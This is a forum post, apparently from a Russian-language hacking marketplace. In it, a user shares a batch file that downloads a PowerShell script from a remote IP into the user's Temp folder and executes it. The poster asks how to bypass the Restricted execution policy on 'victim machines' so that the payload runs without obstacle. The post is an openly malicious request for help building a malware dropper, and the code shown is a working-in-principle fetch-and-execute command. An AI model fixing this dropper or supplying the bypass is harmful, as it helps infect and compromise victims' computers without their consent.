[Problem] With powershell and batch file.

В этой теме можно использовать автоматический гарант!

pr3torian

(L3) cache
Пользователь
Регистрация
06.10.2020
Сообщения
232
Реакции
72
Гарант сделки
1
Hello,
I have a problem with my batch file, thats downloads and executes my ps1 file.
First problem is: many victim machines have this: ExecutionPolicy : Restricted >>> How to bypass this restriction? (need some code to put inside my Batch file)

the code inside the batch file:

off
powershell -c "Invoke-WebRequest -Uri 'http://........IP....../Name../My_FILE.ps1' -OutFile '%USERPROFILE%\AppData\Local\Temp\My_FILE.ps1'"
cd "%USERPROFILE%\AppData\Local\Temp\"
powershell.exe -noexit -file '%USERPROFILE%\AppData\Local\Temp\My_FILE.ps1
start "My_FILE.ps1"

how can i correct my code please?
(final output must be: 1 perfect batchfile, that downloads and executes my ps1 file, with no restrictions)
 
Последнее редактирование:


Напишите ответ...
Верх